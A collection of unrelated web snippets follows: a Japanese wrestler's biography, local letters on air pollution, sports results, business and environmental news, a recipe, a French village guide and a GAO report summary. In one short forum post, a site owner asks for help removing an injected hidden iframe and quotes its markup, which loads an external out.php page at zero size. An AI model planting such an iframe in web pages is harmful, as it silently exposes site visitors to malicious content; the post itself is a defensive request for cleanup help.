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Ikuto Hidaka
|Ikuto Hidaka
August 5, 1972
Masuda, Shimane, Japan
|Professional wrestling career
|Ring name(s)
|Ikuto Hidaka[1][2]
|Billed height
|1.70 m (5 ft 7 in)
|Billed weight
|85 kg (187 lb)
|Trained by
|Animal Hamaguchi
Shoichi Funaki
|January 21, 1997
Ikuto Hidaka (日高郁人 Hidaka Ikuto?)[1][2] is a Japanese professional wrestler, currently performing for Pro Wrestling Zero1. Hidaka was the regular partner of Minoru Fujita, with whom he has held the Zero1-Max International Lightweight Tag Team and Intercontinental Tag Team Titles, making them the only team to do so. He has also worked for Extreme Championship Wrestling.
Hidaka debuted for the Battlarts promotion after training in the Animal Hamaguchi Dojo. He first teamed with Fujita, who had debuted the same year for Big Japan Pro Wrestling, at a Michinoku Pro Wrestling event in 1998, in which they and Naohiro Hoshikawa took on also future stars Minoru Tanaka, Yoshihiro Tajiri and veteran Gran Naniwa. Hidaka and Fujita teamed several times after this, but conflicting schedules from competing for separate promotions limited their future as a team. On his own, Hidaka made an appearance in the shoot style Universal Fighting Organization promotion by Antonio Inoki, in 1999. He lost a match to Tiger Mask,in 2000 Hidaka went to America for a learning excursion in Extreme Championship Wrestling, He was not very successful as he constantly botched moves and lost almost every match during his tenure there, obviously being still unaccustomed to highspots. Commentator Joel Gertner constantly made racist remarks about Hidaka during his matches and nicknamed him "Pokémon" after the popular children's animated series.
In late 2001, when Battlarts collapsed, Hidaka wandered in the Japanese independent circuit. He entered Michinoku Pro Wrestling and won a tournament for the vacant FMW Independent World Junior Heavyweight Championship, upsetting New Japan Pro Wrestling star El Samurai in the final - his first great solo victory. He made an alliance with Dick Togo, styling himself as Togo's disciple and joining him in the Far East Connection stable. As Togo and Michinoku Pro owner The Great Sasuke bickered over problems that had once caused Togo to leave the promotion before, they entered Pro Wrestling Zero1 and began to battle the active junior heavyweight roster. For a while they were successful, winning the NWA International Lightweight Tag Team title once, but as Togo wanted to keep on wrestling other independents, their team broke up just in time as Fujita was returning from an overseas excursion, which freed him to do independent dates.
The combination, known as Skull and Bones, became prominent in the ZERO-1MAX/independent scene, and they have even won Pro Wrestling Noah's GHC Junior Heavyweight Tag Team Championship.
Hidaka once appeared with Togo and Christopher Daniels in a Major League Wrestling match in the United States in 2002, one of his rare appearances abroad.
Following a crucial loss to Minoru Tanaka and Masaaki Mochizuki, another team long "defunct before it even started" due to scheduling conflicts, Hidaka and Fujita turned on each other. On January 19, Hidaka beat Fujita to win the AWA World Junior Heavyweight title for a second time. He lost the title to Mochizuki on January 23, 2008.
On March 13, 2010, Hidaka made his debut for American professional wrestling promotion Evolve Wrestling at Evolve 2: Hero vs. Hidaka, defeating Chris Hero in the main event of the evening.[3]
In wrestling[edit]
- Finishing moves
- Iwami Ginzan (Vertical suplex lifted and dropped into a single knee gutbuster)[2]
- Misty Flip (Sitout shiranui, sometimes while standing)[2]
- Norainu High Kick (High-speed roundhouse kick)
- Shawn Capture (Cross kneelock, sometimes from a wheelbarrow bodyscissors position)[1][2]
- Signature moves
- Belly-to-back suplex[1]
- Hidaka Special (German suplex transitioned into a kneebar)[1]
- Iguchi Bomb (Leg capture one shoulder powerbomb)[1][2]
- La Solarina (Double underhook / Indian deathlock combination)[1][2]
- Mariposa (Springboard corkscrew senton to a standing opponent outside of the ring)[1]
- Multiple kick variations
- Savate[1]
- Spinning heel[1]
- Springboard drop to the knee of a rising opponent[1]
- Spider Net (Tornado DDT floated over into a guillotine choke)[1]
- Springboard tornado DDT
- SRU[2] (Reverse prawn hold)
- Suicide dive
- Swinging neckbreaker[1]
- With Minoru Fujita
Championships and accomplishments[edit]
- Premier Wrestling Federation
- PWF Unified Tag Team Championship (1 time) - with Minoru Fujita
- Kohaku Wrestling Wars
- Independent World Junior Heavyweight Championship (1 time)
- Tohoku Tag Team Championship (1 time, current) – with Minoru Fujita
- UWA World Tag Team Championship (1 time, current) – with Minoru Fujita
- GHC Junior Heavyweight Tag Team Championship (1 time) – with Minoru Fujita
- Pro Wrestling WORLD-1
- PWF Universal Tag Team Championship (1 time) – with Minoru Fujita
- NWA Intercontinental Tag Team Championship (2 times) – with Minoru Fujita (1) and Munenori Sawa (1)
- NWA International Lightweight Tag Team Championship (5 times, current) – with Dick Togo (1), Minoru Fujita (1), Munenori Sawa (1), Takafumi Ito (1) and Hayato Fujita (1, current)
- NWA United National Heavyweight Championship (1 time)
- ZERO1-MAX International Junior Heavyweight Championship (5 times) (First reign as champion the championship is known as AWA/ZERO1-MAX/UPW/WORLD-1 International Junior Heavyweight Championship and second reign known as the AWA World Junior Heavyweight Championship.)
- Tenkaichi Jr. (2009, 2010, 2015)
- Tokyo Sports
- Best Tag Team (2005) - with Minoru Fujita[5]
Mixed martial arts record[edit]
|Professional record breakdown
|1 match
|0 wins
|1 loss
|By submission
|Takafumi Ito
|Submission (rear naked choke)
|DEEP - 5th Impact
|June 9, 2002
|Tokyo, Japan
- ^ a b c d e f g h i j k l m "Ikuto Hidaka profile". Online World of Wrestling. Retrieved 2012-11-06.
- ^ a b c d e f g h "Profile at Puroresu Central". Puroresu Central. Retrieved 2012-05-11.
- ^ Csonka, Larry (2010-03-15). "EVOLVE 2 Results From New Jersey". 411Mania. Retrieved 2010-05-02.
- ^ "Pro Wrestling ZERO-ONE - "Enormous 2004"" (in German). PuroLove.com. Retrieved 2015-02-05.
- ^ http://www.purolove.com/tokyosports.php
- ^ "Ikuto Hidaka profile". Sherdog. Retrieved 2012-12-25.


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Who pays for expensive power plant upgrades? You and me. WE the ratepayers are
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increases to fund upgrades.
The phrase "in sufficient doses" was missing from the letter. The listed air pollutants are only a problem if a person is exposed to a high enough dose; they are not a blanket problem for everyone everywhere all the time as implied.
Why not just clean the air once and for all and replace Utah's coal-fired plants with nuclear plants? It's the only viable solution.
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As every utah climatologist knows, man cannot change the climate. So we don't have to try to clean it up.
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"Who pays for expensive power plant upgrades? You and me."
Clean air is worth any cost.
What good is your money if you cannot breathe the air?
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It's worth some expense to have air that doesn't shorten your life.
Too much expense is going to kill any project, however. But in comparison, what
are the technologies used in the rest of the country for coal power plant
exhaust control? What are their relative installation and ongoing costs? Can
some of the pollution controls do double duty as service enhancers, actually
helping the financial bottom line of the power plant?
As for nuclear power, I'd think that this region would be a decent candidate for a nuclear plant? I don't know if this is much of a plus, depending on the processing that the fuel needs to go through, but we've got uranium sources fairly nearby, I believe?
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We have much cleaner air now than years ago. I remember the days sitting in class at McMillan Elementary school, looking out the west facing windows and not being able to see the Oquirrh Mtns on a bright sunny day. Mostly due to Kennecott and Geneva Steel. Now days, I can see them fine nearly every day except those winter days we get the temprature inversions. The Clean Air mantra sounds good, but our air is just fine.
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To The Editor: In regard and response to the letter in the Sept. 19 paper.
I do not share any blame for the disaster in New Orleans. First of all, I feel very sorry for the folks who were displaced by the storm. I have already donated three times to organizations that are helping them. Second, I have been the "very least" many times in my life, and have helped myself. Poor is not how little money you have. Poor is of the heart and spirit.
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Danny Bruce Foret, 24, a native of Lockport and resident of Mathews, died Monday, June 25, 2007.
Visitation will be from 5 to 10 p.m. Thursday and from 8 a.m. to funeral time Friday at Falgout Funeral Home in Lockport. Mass will be at 10 a.m. Friday at Holy Savior Catholic Church in Lockport, with burial in the church cemetery.
He is survived by his companion, Stella Bourg; his father, Wayne A. Foret; his mother and stepfather, Melisa P. Schnoor and Harry Schnoor; his grandmother, Cathy Punch; and one sister, Angela Marie Foret.
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Dinner, auction to benefit Cafe at the Plaza server
If you've eaten at Cafe at the Plaza, you've probably been called "honey" by server Edna Smith at one time or another.
Smith has been away from work, fighting cancer for several months. If you'd like to show some sweetness in return, organizers are holding a benefit dinner and silent auction at the downtown Art Deco hotel on Dec. 13 to help her with her medical bills. »Read Full Blog Post
Bar owners scramble to keep up with fake ID technology
The arms race between bar owners and college students with increasingly sophisticated fake IDs is heating up.
Students today can spend $100 to $150 on fake identification through a number of websites that claim superior quality down to the holograms and bar codes. There's an underground review that rates the quality of fake IDs from different sites. Students can even watch YouTube videos on how to make IDs showing they're 21, the legal drinking age. »Read Full Article(30)
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Londoner's first defence of his IBF world middleweight title saw him dropped twice in the second round
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The IBF middleweight champion will defend his title for the first time in Stuttgart on December 7
Londoner dedicates IBF middleweight title to his late brother after beating Aussie Daniel Geale on points despite being floored
The Barnet fighter will take on the highly-rated Australian IBF middleweight champ on August 17 in Verona, New York
Welshman is outclassed by Barker to revive hopes of a world title shot
Darren Barker looks to reignite his career as he tops the bill at Eddie Hearn's "Christmas Cracker" card this weekend
The Only Way Is Essex star will show fans live in-play betting odds on her specially-created digi-board as the special guest ring card girl at Olympia on Saturday night
George Ogier looks ahead to Ricky Hatton's return to the ring against Vyacheslav Senchenko
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British middleweight contender could have been fighting for a world title in the US, but instead he's fighting on a domestic undercard
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BRITISH boxing enters the festive period with a hangover rather than exiting it with one. That must be a first.
DARREN BARKER admits he thought he would never get a shot at the world title when he considered quitting the ring.
JOHN H STRACEY against Jose Napoles, Lloyd Honeyghan against Don Curry; victories that rank among the biggest shocks of all time by British fighters.
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Interior to Maintain Bush-Era Polar-Bear Rule
WASHINGTON -- The Obama administration has upheld a George W. Bush-era rule under the Endangered Species Act that prevents linking greenhouse gas emissions from facilities to degradation of the polar bear's habitat, Interior Secretary Ken Salazar said Friday.
Environmentalists had pressed the Interior Department to repeal the rule. This could have paved the way for much stricter permitting for emitting sectors such as oil refiners and power generators, forcing them to consider how their projects' emissions might affect the climate and the polar bear's ice-shelf habitat.
While industry applauded the decision, environmentalists said they would press forward with a legal challenge of the rule.
Although the Interior Department has said that loss of sea ice caused by global warming is jeopardizing the animal's future, Mr. Salazar affirmed the Bush administration rule stipulating the polar bear's designation as a threatened species couldn't be used as an argument against greenhouse gas-emitting facilities throughout the nation.
The Interior secretary reiterated statements by Bush administration officials that agency scientists couldn't make a scientific link between emissions from facilities, such as a coal-fired power plant in Pennsylvania or a refinery in Georgia, and the loss of sea ice.
"The Endangered Species Act is not the appropriate tool to address global warming," Mr. Salazar said during a teleconference following the decision. Instead, he pointed to Obama administration's push toward regulation of greenhouse gases through new legislation.
The president and his advisers say they would prefer Congress to develop a market-based system to cut emissions, though the administration will be able to use the Clean Air Act as a back-up should Congress fail to act. The Environmental Protection Agency has said greenhouse gases are a danger to public health and welfare, a finding that is likely to trigger regulation of emissions across the economy.
"This decision was a litmus test for the Obama administration's commitment to science-based development of global-warming policy," said Greenpeace campaigner Ryan Patterson. "They failed miserably," Mr. Patterson said, standing outside Interior's headquarters with two activists in polar bear suits.
Greenpeace, which had temporarily suspended a suit with the Center for Biological Diversity against the Interior Department on the polar bear rule, said it would reactivate the case.
The oil industry, however, welcomed the decision.
"The Endangered Species Act is not the proper mechanism for controlling our nation's carbon emissions," said American Petroleum Institute President Jack Gerard. "This decision serves to protect the polar bear while providing greater regulatory certainty not only to the oil and natural gas industry but also to all U.S. manufacturers," he said.
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U.K.'s January Flooding Surpasses All 247 Years Of Data On The Books
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As California sees the future impacts of climate change playing out in the form of epic drought on one side of the globe, across the map in the U.K. residents are seeing an opposite but related climate effect: Severe and unprecedented flooding.
According to the world's longest-running weather station, the Radcliffe Meteorological Station at Oxford University, more rain fell there in January than during any winter month since daily recording started in 1767. Total rainfall last month was around 5.8 inches, more than three times the average.
It doesn't look like February will bring much respite from the deluge. "There will be more wet and windy weather from the Atlantic this week," Met Office forecaster Callum MacColl told the Guardian. "And the 15-day outlook sees the unsettled theme very much continuing."
The "unsettled theme" applies to the impacts the wet weather is having on communities as well as the conditions that give rise to it. Last week U.K. Environment Minister Owen Paterson ordered for a plan that creates a long-term solution to deal with the flooding, as efforts to keep the damages at bay tested the limits of the country's Environment Agency's resources.
The Environment Agency has issued nine severe flood warnings — the highest level of alert — in parts of Southern England and Wales where up to 1.2 inches of rain is scheduled to fall over the weekend. The Agency considers lives to be in danger and is discussing the option of deploying military amphibious vehicles with the Ministry of Defense to help those in need.
Flooding is expected to be the greatest threat of a changing climate posed to the country, according to a 2012 report published by the U.K.'s environment department.
Models show Britain will see an average increase of between four and 12 percent rainfall in the next 20 years.
"We are seeing more extreme temperatures and more intense rainfall events around the world," Dr. Peter Stott, head of climate monitoring and attribution at the Met Office Hadley Centre, told The Telegraph. "The expectation in a warming world is for an increased frequency of heatwaves and greater moisture in a warmer atmosphere is expected to lead extreme precipitation events, more intense and more frequent."


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Chilled Chicken With Tarragon Mayonnaise
|Chicken breast halves
|4 , skinned and boned
|Commercial italian salad dressing
|1⁄2 Cup (8 tbs)
|Tarragon vinegar
|2 Tablespoon
|Dried whole tarragon
|1⁄2 Teaspoon
|1 Clove (5 gm), minced
|1⁄2 Cup (8 tbs)
|Chopped fresh parsley
|3 Tablespoon
|Minced onion
|1 Tablespoon
|Lime juice
|1 Tablespoon
|Lime slices
Place chicken between 2 sheets of wax paper; flatten to 1/2 inch thickness using a meat mallet or rolling pin.
Combine salad dressing, vinegar, 1/2 teaspoon tarragon, and garlic in a jar; cover tightly, and shake vigorously.
Pour over chicken in a shallow dish; cover and refrigerate 6 hours.
Remove chicken from marinade; bring marinade to a boil.
Place chicken on lightly greased rack of a broiler pan.
Broil 6 inches from heat source 4 minutes on each side or until done, basting occasionally with marinade.
Let chicken cool slightly; cover and chill thoroughly.
Combine mayonnaise, parsley, onion, lime juice, and 1/2 teaspoon tarragon, stirring well.
Chill thoroughly.
Arrange chilled chicken on platter; garnish with lime slices, and serve with mayonnaise mixture.
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Nutrition Facts
Serving size: Complete recipe
Calories 2017 Calories from Fat 1142
% Daily Value*
Total Fat 128 g196.2%
Saturated Fat 15.3 g76.4%
Trans Fat 0.2 g
Cholesterol 477.6 mg159.2%
Sodium 2841.1 mg118.4%
Total Carbohydrates 45 g15.2%
Dietary Fiber 5 g19.9%
Sugars 11.9 g
Protein 162 g324.7%
Vitamin A 82.9% Vitamin C 180%
Calcium 22.4% Iron 55.8%
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Wells Fargo Challenges Ally With Expanded Auto-Loan Plan
Wells Fargo & Co. is expanding loans to customers of General Motors Co., threatening to take business from Ally Financial Inc. as the bailed-out auto lender seeks a turnaround.
GM, the biggest U.S. automaker, already had chosen Wells Fargo, the bank with the biggest branch network, to provide financing to Chevrolet, Buick, GMC and Cadillac dealers and customers in its U.S. west marketing region. The agreement has since broadened to include the south central region, and San Francisco-based Wells Fargo wants more, said Tom Wolfe, who heads the unit that oversees auto and credit-card loans.
"We like the relationship, so we'd certainly like to think about expanding it," Wolfe said in an Aug. 10 interview. It's a program "we can offer to other manufacturers," he said.
Wells Fargo, last year's No. 2 auto lender, is pushing deeper into a market that was dominated in 2011 by Ally, the Detroit-based firm once owned by GM. Banks are pursuing auto financing after the category performed better than most other consumer debt during the financial crisis, and U.S. sales of cars and light trucks climbed 14 percent this year through July.
The GM accord allows Wells Fargo to bid on "subvented" loans, made to consumers at below-market rates for the automaker's marketing campaigns, Wolfe said. It also allows Wells Fargo to provide commercial services such as treasury or wealth management to GM dealers, he said. On subvented loans, the automaker pays the lender to make up the difference.
'Captive Offerings'
"Wells Fargo continues to complement our captive offerings through GM Financial, our extensive relationship with Ally, and our leasing program with U.S. Bank," Dave Roman, a GM spokesman, said in an e-mail.
GM's subvented business accounted for 18 percent of Ally's total U.S. originations in the second quarter, compared with 7 percent for Chrysler Group LLC, the carmaker controlled by Fiat SpA, according to a presentation.
"We have continued to broaden and diversify our business and have reduced reliance on the subvented business," said Gina Proia, an Ally spokeswoman. "The auto-finance business has seen significant levels of competition for some time now as many banks have tried to find growth. We compete in the market every day, and in the second quarter Ally posted its second-highest level of U.S. consumer originations in five years."
Ally's Goals
Ally Chief Executive Officer Michael Carpenter, 65, is searching for ways to repay U.S. bailouts exceeding $17 billion that left the U.S. Treasury Department with a 74 percent stake, and to refocus his firm on auto lending and online banking.
"Our objective in life is pretty straightforward," Carpenter said during an Aug. 1 conference call. "It's to continue building the auto business, to continue to build the bank, and it's to get the U.S. government completely out of their shareowner position." The latter goal has been delayed by the May bankruptcy of Ally's Residential Capital mortgage unit.
Ally has a contract to be GM's preferred lender through Dec. 31, 2013. Wolfe said that while Wells Fargo would like to do more with the automaker, the decision is "really up to GM and what their timelines and goals are."
Wells Fargo rose 22 cents, or 0.6 percent, to $34.18 at 11:45 a.m. in New York. The shares have gained 24 percent this year, compared with the 19 percent return for the 24-company KBW Bank Index.
Potential Bidders
Wells Fargo, run by CEO John Stumpf, 58, extended $20.2 billion in indirect auto loans through about 11,900 dealers in 2011, according to a May presentation. The bank also provides commercial services for more than 850 dealers, the presentation showed.
The lender also may seek to do more financing for Chrysler, which has an arrangement with Ally expiring next year. The agreement entitles Ally to finance a minimum percentage of vehicles sold with subvented loans, generating about $50 billion in annual originations.
Wells Fargo is among banks such as Santander Holdings USA Inc., General Electric Capital Corp., U.S. Bancorp and JPMorgan Chase & Co. that have negotiated with Chrysler about its auto-financing needs, three people familiar with the talks said in February. Wolfe declined to comment on any talks with Chrysler.
"As those things become available, we would be interested in them," Wolfe said. "The difference for us now is three years ago, we didn't have the capabilities to compete."
Wells Fargo's auto loans rose 18 percent to a record $6.6 billion in the second quarter from a year earlier, according to a bank statement. The company doesn't disclose how much it makes from the GM relationship.
GM said yesterday its lending arm made a bid in July for Ally's international operations, which, if successful, could more than double the unit's consolidated assets. Ally is seeking to divest more than $30 billion of assets in Canada, Mexico, Europe and Latin America.


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I wasn't able to run X11 or Terminal after rebooting my Mac. After digging around, I got them to work when I commented-out this line in my .cshrc:
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xset will attempt to launch X11 if it isn't running already, and since X11 will launch the default shell through
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President Obama Endorses Clinton As His SuccessorPresident Barack Obama has endorsed Hillary Clinton to succeed him as president.
AP Count: Clinton Has Delegates To Win Democratic NominationStriding into history, Hillary Clinton will become the first woman to top the presidential ticket of a major U.S. political party.
Overtime Pay May Become Reality For More U.S. WorkersMore than 4 million U.S. workers will become newly eligible for overtime pay under rules to be issued Wednesday by the Obama administration.
Supreme Court Sends Birth Control Case Back To Lower Courts The Supreme Court rid itself Monday of a knotty dispute between faith-based groups and the Obama administration over birth control.
Trump Will Testify After Election In Trump University SuitDonald Trump will testify after the presidential election on a class-action lawsuit that accuses the billionaire businessman and his now-defunct Trump University of defrauding people who paid up to $35,000 for real estate seminars.
CIA Director Says He Would Not Obey A Waterboarding OrderThe director of the CIA says his spy agency will not engage in waterboarding or other so-called enhanced interrogation techniques even if ordered to by a future president.
Pot Activists Smoke Outside The White House Activists smoked marijuana outside the White House to send their message that the drug shouldn't be considered dangerous.
Disaster Declaration Signed For Aid After Huge January StormPresident Barack Obama has signed a disaster declaration for Pennsylvania and ordered federal aid to supplement state and local recovery following the massive snowstorm in January.
18 Migrants Rescued Off Florida Coast, 9 Reportedly Died On TripNine Cuban migrants died at sea and 18 others were rescued by a cruise ship after their 30-foot boat was found about 130 miles from the Florida coast, the U.S. Coast Guard said.
President Nominates Judge Garland, But Republican Senate May Refuse To ActPresident Barack Obama will nominate federal appeals court judge Merrick Garland to the Supreme Court on Wednesday.
White House To Pay Tribute To Ray CharlesPresident Barack Obama and First Lady Michelle Obama will honor music legend Ray Charles tonight in Washington.
Supreme Court Justice's Death Sparks Political FightJustice Antonin Scalia's death immediately sparked a new and heated election-year fight over whether President Barack Obama should fill the high court vacancy


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Got myself an obvious iframe injection - problem is I can't find where it is in my code.
I've deleted a couple of instances of it where it was inserted directly into the code: '<iframe src="http://modlogan.net/out.php?s_id=1" width="0" height="0" frameborder="0"></iframe>'
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The Public Service Department is driven by the mission to provide the services and resources necessary to maintain a high quality of life in the City of Lansing, Michigan. The Public Service Department is divided into six operational divisions: Operations & Maintenance, Engineering, Wastewater Systems, Business, Permits and Technology, Property Management, and Fleet Services.
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Napoli, Lazio Narrow Gap to AC Milan in Italy; Real Madrid Wins
Napoli and Lazio narrowed the gap to leader AC Milan with last-gasp victories in Italian soccer's Serie A, while 10-man Real Madrid won to stay two points behind leader Barcelona in Spain.
Edinson Cavani's 90th-minute goal gave Napoli a 1-0 home win against Lecce yesterday that lifted it to 33 points, three behind AC Milan, which lost 1-0 to Roma two days ago.
Lazio also has 33 points after an 88th-minute own goal by Udinese's Christian Zapata completed a 3-2 win. Juventus is two points further back after allowing a 90th-minute tying goal by Sergio Pellissier in a 1-1 draw at Chievo.
Barcelona leads the Spanish standings with 43 points after defeating city rival Espanyol 5-1 two days ago. Angel di Maria got the only goal in the 77th minute last night as Real Madrid beat Sevilla in a match where both teams finished with 10 men.
Real's Ricardo Carvalho was red-carded after 63 minutes, and Mouhamadou Dabo of Sevilla was sent off in the last minute.
Borussia Dortmund suffered its second league defeat of the German Bundesliga season two days ago, 1-0 at Eintracht Frankfurt. Dortmund leads with 43 points, 10 ahead of Mainz and Bayer Leverkusen.
Lyon missed the chance to go top in France by drawing 1-1 at Marseille. Lille, Paris Saint-Germain and Rennes top the standings with 31 points, one ahead of Lyon.
In the Netherlands, PSV Eindhoven beat Roda JC 3-1 yesterday and leads by four points from FC Twente, whose Dec. 17 game with Heracles Almelo was among European matches that were postponed because of snow and ice. Third-place Ajax, two points further back, had its match against Feyenoord postponed.
Italy: Cesena 1-0 Cagliari; AC Milan 0-1 Roma; Lazio 3-2 Udinese; Bari 1-1 Palermo; Catania 1-0 Brescia; Chievo 1-1 Juventus; Napoli 1-0 Lecce; Parma 0-0 Bologna. Postponed: Sampdoria v Genoa.
Spain: Villarreal 3-1 Real Mallorca; Deportivo La Coruna 1-1 Sporting Gijon; Levante 1-2 Athletic Bilbao; Espanyol 1-5 Barcelona; Real Sociedad 1-2 Valencia; Almeria 2-3 Getafe; Osasuna 0-0 Real Zaragoza; Malaga 0-3 Atletico Madrid; Real Madrid 1-0 Sevilla. Dec. 20: Racing Santander v Hercules.
Germany: Borussia Moenchengladbach 1-2 Hamburg; Werder Bremen 1-2 Kaiserslautern; Wolfsburg 2-2 Hoffenheim; Eintracht Frankfurt 1-0 Borussia Dortmund; Nuremberg 3-1 Hanover; Schalke 3-0 Cologne; St Pauli 2-4 Mainz; Bayer Leverkusen 2-2 Freiburg; Stuttgart 3-5 Bayern Munich.
France: Montpellier 1-1 Auxerre; Nice 1-1 Brest; PSG 2-2 Monaco; Rennes 1-0 Valenciennes; Sochaux 1-1 Bordeaux; St Etienne 2-0 Arles; Toulouse 3-0 Lorient; Marseille 1-1 Lyon. Postponed: Lens vs Caen, Lille vs Nancy.
Netherlands: Heerenveen 4-0 De Graafschap; NAC Breda 1-1 Vitesse Arnhem; Excelsior Rotterdam 2-2 FC Groningen; Den Haag 2-1 Willem II; PSV Eindhoven 3-1 Roda JC. Postponed: FC Twente v Heracles Almelo; Ajax v Feyenoord; AZ Alkmaar v NEC Nijmegen; VVV-Venlo v FC Utrecht.


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Saint-Seine-en-Bache tourism and travel guide
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Saint-Seine-en-Bache is situated in the Cote d'Or (Burgundy region) in the eastern-center of France at 34 km from Dijon, the department capital. (General information: Saint-Seine-en-Bache is 296 km from Paris).
Popular places to visit nearby include Pesmes at 23 km and Nuits-Saint-Georges at 32 km. For more places to visit and local tourist attractions see the map and listings below.
Saint-Seine-en-Bache, France: places to visit and attractions
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Markets in and near Saint-Seine-en-Bache
Local markets
- Auxonne: market Friday (8km)
- Dole: market Tuesday & Thursday & Saturday (9km)
- Pontailler-sur-Saone: market Saturday (21km)
- Pierre-de-Bresse: market Monday (27km)
- Longvic: market Sunday (30km)
- Nuits-Saint-Georges: market Friday (32km)
- Dijon: market Wednesday & Tuesday & Thursday & Saturday & Friday (34km)
- Chenove: market Wednesday & Sunday (34km)
- Verdun-sur-le-Doubs: market Thursday (36km)
- Arbois: market Friday (39km)
Tourist attractions to visit near Saint-Seine-en-Bache, France
Below we show places with official tourist classifications and other places of interest to visit nearby that should provide inspiration if you are visiting Saint-Seine-en-Bache and wondering what to do next!
Heritage sites Royal Saltworks of Arc-et-Senans (32km)
Most beautiful villages in France (see also beautiful French villages) Chateau-Chalon (45km)
Churches or other religious monuments Hospices de Beaune (Beaune) (42km)
Remarkable gardens Jardin à la Faulx (9km); Jardin du château du Talmay (27km); Château d'Arcelot (33km); Parc de l'Etang (40km); Jardin des jeux du château d'Arlay (42km)
Protected historical centre (fr: secteur sauvegardé) (see also historical French towns) Dole (9km); Dijon (34km); Chalon-sur-Saone (54km)
Sites of natural beauty Source - la Seille (46km)
Towns of Art and history Arbois (39km); Salins-les-Bains (43km)
Villages in bloom 4* (fr: ville fleurie) Quetigny (29km); Beaune (42km)
Geography and distances
Distance to Saint-Seine-en-Bache
from Dijon (prefecture): 34 km
from Paris: 296 km
from Calais: 497 km
from Nice: 408 km
from Bordeaux: 525 km
from Strasbourg: 241 km
Getting here
Saint-Seine-en-Bache is in the eastern-center of France. Most visitors drive from one of the channel ports such as Calais or Dunkirk, a drive of about 6 hours, or fly into one of the Paris airports and hire a car. For driving distances to Saint-Seine-en-Bache from anywhere in France see driving distances and route planner.
We have 12 other places listed nearby (within 6 kilometres of Saint-Seine-en-Bache): Abergement-la-Ronce, Billey, Champvans, Damparis, Flagey-les-Auxonne, Foucherans, Labergement-les-Auxonne, Laperriere-sur-Saone, Les Maillys, Saint-Symphorien-sur-Saone, Samerey and Villers-Rotin.
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LOS ANGELES (April 10, 2013)--A cache of fossilized dinosaur embryos that scientists unearthed in China offers the best glimpse yet into the development of the ancient creatures.
The 190 million-year-old bones belonged to a long-necked, plant-eating dinosaur known for its gigantic size that roamed during the early Jurassic age.
An international team of scientists headed by the University of Toronto examined more than 200 bones from 20 individuals at various stages of development and found that this type of dinosaur grew much more rapidly inside the egg than others.
The discovery is detailed in Thursday's issue of the journal Nature.
The latest embryos are the same age as the world's oldest dinosaur embryos found in South Africa.


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Alabama's home game with Arkansas on September 24th will be carried by WTVY. Kickoff between the Crimson Tide and Razorbacks is set for 2:30.
Alabama and Arkansas will both play non-conference games this coming weekend, with the Tide hosting North Texas and the Razorbacks entertaining Troy.
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Patient Protection and Affordable Care Act:
Status of CMS Efforts to Establish Federally Facilitated Health Insurance Exchanges
GAO-13-601: Published: Jun 19, 2013. Publicly Released: Jun 19, 2013.
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What GAO Found
The Centers for Medicare & Medicaid Services (CMS) will operate a health insurance exchange in the 34 states that will not operate a state-based exchange for 2014. Of these 34 federally facilitated exchanges (FFE), 15 are in states expected to assist CMS in carrying out certain FFE functions. However, the activities that CMS plans to carry out in these 15 exchanges, as well as in the state-based exchanges, have evolved and may continue to change. For example, CMS approved states' exchange arrangements on the condition that they ultimately complete activities necessary for exchange implementation. CMS indicated that it would carry out more exchange functions if any state did not adequately progress towards implementation of all required activities.
CMS completed many activities necessary to establish FFEs by October 1, 2013, although many remain to be completed and some were behind schedule. CMS issued numerous regulations and guidance and took steps to establish processes and data systems necessary to operate the exchanges. The activities remaining cross the core exchange functional areas of eligibility and enrollment, plan management, and consumer assistance. To support consumer-eligibility determinations, for example, CMS is developing a data hub that will provide electronic, near real-time access to federal data, as well as provide access to state and third party data sources needed to verify consumer-eligibility information. While CMS has met project schedules, several critical tasks, such as final testing with federal and state partners, remain to be completed. For plan management, CMS must review and certify the qualified health plans (QHP) that will be offered in the FFEs. Though the system used to submit applications for QHP certification was operational during the anticipated time frame, several key tasks regarding plan management, including certification of QHPs and inclusion of QHP information on the exchange websites, remain to be completed. In the case of consumer assistance, for example, funding awards for Navigators--a key consumer assistance program--have been delayed by about 2 months, which has delayed training and other activities. CMS is also depending on the states to implement specific FFE exchange functions, and CMS data show that many state activities remained to be completed and some were behind schedule.
Much progress has been made, but much remains to be accomplished within a relatively short amount of time. CMS's timelines provide a roadmap to completion; however, factors such as the still-evolving scope of CMS's required activities in each state and the many activities yet to be performed--some close to the start of enrollment--suggest a potential for challenges going forward. And while the missed interim deadlines may not affect implementation, additional missed deadlines closer to the start of enrollment could do so. CMS recently completed risk assessments and plans for mitigating risks associated with the data hub, and is also working on strategies to address state preparedness contingencies. Whether these efforts will assure the timely and smooth implementation of the exchanges by October 2013 cannot yet be determined.
In commenting on a draft of this report, the Department of Health and Human Services emphasized the progress it has made in establishing exchanges, and expressed its confidence that exchanges will be open and functioning in every state by October 1, 2013.
Why GAO Did This Study
The Patient Protection and Affordable Care Act required the establishment in all states of exchangesmarketplaces where eligible individuals can compare and select health insurance plans. CMS must oversee the establishment of exchanges, including approving states to operate one or establishing and operating one itself in states that will not do so. CMS will approve states to assist it in carrying out certain FFE functions. CMS will also operate an electronic data hub to provide eligibility information to the exchanges and state agencies. Enrollment begins on October 1, 2013, with coverage effective January 1, 2014. GAO was asked to examine CMSs role and preparedness to establish FFEs and the data hub. In this report, GAO describes (1) the federal governments role in establishing FFEs for operation in 2014 and state participation in that effort; and (2) the status of federal and state actions taken and planned for FFEs and the data hub.
GAO reviewed regulations and guidance issued by CMS and documents indicating the activities that the federal government and states are expected to carry out for these exchanges. GAO also reviewed planning documents CMS used to track the implementation of federal and state activities, including documents describing the development and implementation of the data hub. GAO also interviewed CMS officials responsible for establishment of the exchanges. GAO relied largely on documentation provided by CMSincluding information CMS developed based on its contacts with the statesregarding the status of the exchanges and did not interview or collect information directly from states.
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Jul 7, 2016
Drug Shortages:Certain Factors Are Strongly Associated with This Persistent Public Health ChallengeGAO-16-595: Published: Jul 7, 2016. Publicly Released: Jul 7, 2016.
Jun 23, 2016
Defense Health Care:Availability and Quality Measurement of Women's Health Care Services in U.S. Military HospitalsGAO-16-596: Published: Jun 23, 2016. Publicly Released: Jun 23, 2016.
Jun 20, 2016
Federal Autism Activities:Agencies Are Encouraging Early Identification and Providing Services, and Recent Actions Could Improve CoordinationGAO-16-446: Published: May 20, 2016. Publicly Released: Jun 20, 2016.
Jun 15, 2016
Food and Drug Administration:Comprehensive Strategic Planning Needed to Enhance Coordination between Medical Product CentersGAO-16-500: Published: May 16, 2016. Publicly Released: Jun 15, 2016.
